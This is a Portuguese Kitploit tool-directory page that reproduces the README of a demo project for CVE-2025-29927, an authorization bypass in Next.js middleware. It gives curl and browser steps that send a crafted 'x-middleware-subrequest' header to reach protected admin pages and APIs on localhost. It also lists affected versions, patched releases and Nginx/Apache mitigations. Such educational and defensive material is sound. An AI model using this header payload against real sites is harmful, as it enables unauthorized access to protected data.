Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
nextjs-cve-demo — Demonstra a vulnerabilidade de bypass de autorização do Middleware no Next.js (CVE-2025-29927) que permite que usuários não autorizados acessem informações protegidas. | Kitploit
Ferramentas/GitHubGitHub/lstudlo/nextjs-cve-demo
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploração de Aplicações WebTestes de Segurança de APIsConfiguração IncorretaAprendizado e Educação
GitHublstudlo/nextjs-cve-demo

nextjs-cve-demo

Demonstra a vulnerabilidade de bypass de autorização do Middleware no Next.js (CVE-2025-29927) que permite que usuários não autorizados acessem informações protegidas.

Ver Repositório
23há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exemplo: Bypass de Autorização no Middleware do Next.js (CVE-2025-29927)

Este repositório fornece um projeto de exemplo que demonstra a vulnerabilidade de bypass de autorização no Middleware do Next.js (CVE-2025-29927). Esta vulnerabilidade permite que usuários não autorizados acessem recursos protegidos.

Visão Geral da Vulnerabilidade

CVE-2025-29927 é uma vulnerabilidade de segurança grave (pontuação CVSS: 9.1) que afeta o sistema de middleware do Next.js. Um atacante pode contornar completamente as verificações de segurança do middleware adicionando um cabeçalho x-middleware-subrequest especialmente criado na solicitação HTTP.

Versões Afetadas

  • Next.js 11.1.4 a 13.5.6
  • Next.js 14.x anterior a 14.2.25
  • Next.js 15.x anterior a 15.2.3

Impacto da Vulnerabilidade

  • Bypass de Autorização: Atacantes podem acessar caminhos protegidos (como /admin) sem autenticação
  • Bypass de Segurança da API: Podem acessar endpoints de API protegidos (como /api/confidential)
  • Bypass de Cabeçalhos de Segurança: Se cabeçalhos de segurança como CSP, HSTS forem definidos no middleware, eles também serão ignorados.

Pré-requisitos

  1. Node.js e npm instalados
  2. Navegue até a pasta e execute npm install para instalar as dependências
  3. Execute npm run dev para iniciar o servidor de desenvolvimento Next.js
  4. Abra http://localhost:3000 no navegador para ver a aparência atual do site.

Entendendo o Princípio da Vulnerabilidade

O Next.js usa o cabeçalho interno x-middleware-subrequest para evitar loops infinitos causados por chamadas recursivas de middleware. No entanto, este cabeçalho pode ser explorado por solicitações externas. Quando uma solicitação contém este cabeçalho e atinge a profundidade máxima de recursão (MAX_RECURSION_DEPTH), o Next.js ignora completamente a execução do middleware.

Como Reproduzir a Vulnerabilidade

Passo 1: Acessar o Caminho Protegido Normalmente (Será Bloqueado)

Primeiro, tente acessar o caminho protegido normalmente:

root@kitploit:~
# Acessar a página de administração protegida
curl http://localhost:3000/admin/dashboard -v

Resultado esperado: Será redirecionado para a página de login (302 redirect to /login)

root@kitploit:~
# Acessar a API protegida
curl http://localhost:3000/api/confidential -v

Resultado esperado: Retorna erro 401 Unauthorized

Passo 2: Usar a Vulnerabilidade para Ignorar o Middleware

Agora, use um cabeçalho especialmente criado para ignorar o middleware:

root@kitploit:~
# Ignorar a proteção do caminho /admin
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Resultado esperado: Acesso bem-sucedido ao conteúdo da página de administração (200 OK)

root@kitploit:~
# Ignorar a proteção de /api/confidential
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Resultado esperado: Acesso bem-sucedido à API e obtenção de informações confidenciais (200 OK)

Passo 3: Testar Usando o Navegador

Você também pode usar as ferramentas de desenvolvedor do navegador para testar:

  1. Abra as ferramentas de desenvolvedor do navegador (F12)
  2. Mude para a aba Network
  3. Use a extensão ModHeader ou ferramenta similar para adicionar o cabeçalho:
    • Header Name: x-middleware-subrequest
    • Header Value: middleware:middleware:middleware:middleware:middleware
  4. Acesse http://localhost:3000/admin/dashboard
  5. Você deve ver o conteúdo da página de administração, em vez de ser redirecionado.

Explicação da Vulnerabilidade

Quando o middleware recebe uma solicitação contendo o cabeçalho x-middleware-subrequest:

  1. O Next.js considera isso uma chamada recursiva interna
  2. Quando o valor do cabeçalho contém marcas de middleware suficientes (5 repetições), o limite MAX_RECURSION_DEPTH é acionado
  3. Para evitar um loop infinito, o Next.js ignora completamente a execução do middleware
  4. A solicitação chega diretamente à rota de destino, ignorando todas as verificações de segurança

Soluções de Correção

1. Atualizar a Versão do Next.js

Atualize para versões corrigidas:

  • 12.x: atualize para 12.3.5 ou superior
  • 13.x: atualize para 13.5.9 ou superior
  • 14.x: atualize para 14.2.25 ou superior
  • 15.x: atualize para 15.2.3 ou superior

2. Medidas de Mitigação Temporárias

Se não for possível atualizar imediatamente, bloqueie solicitações que contenham o cabeçalho x-middleware-subrequest no nível do proxy reverso (Nginx, Apache, etc.):

Exemplo de configuração Nginx:

root@kitploit:~
location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Exemplo de configuração Apache:

root@kitploit:~
RequestHeader unset x-middleware-subrequest

3. Defesa em Profundidade

Além do middleware, implemente verificações de autenticação nos manipuladores de rota:

root@kitploit:~
// Adicione verificações de autenticação adicionais nas rotas da API
export async function GET(request) {
    // Não confie apenas no middleware, verifique a autenticação aqui também
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... processar a solicitação
}

Referências

  • Next.js Security Advisory (GHSA-f82v-jwr5-mffw)
  • CVE-2025-29927 Details
  • Next.js Middleware Documentation
Baixar ferramenta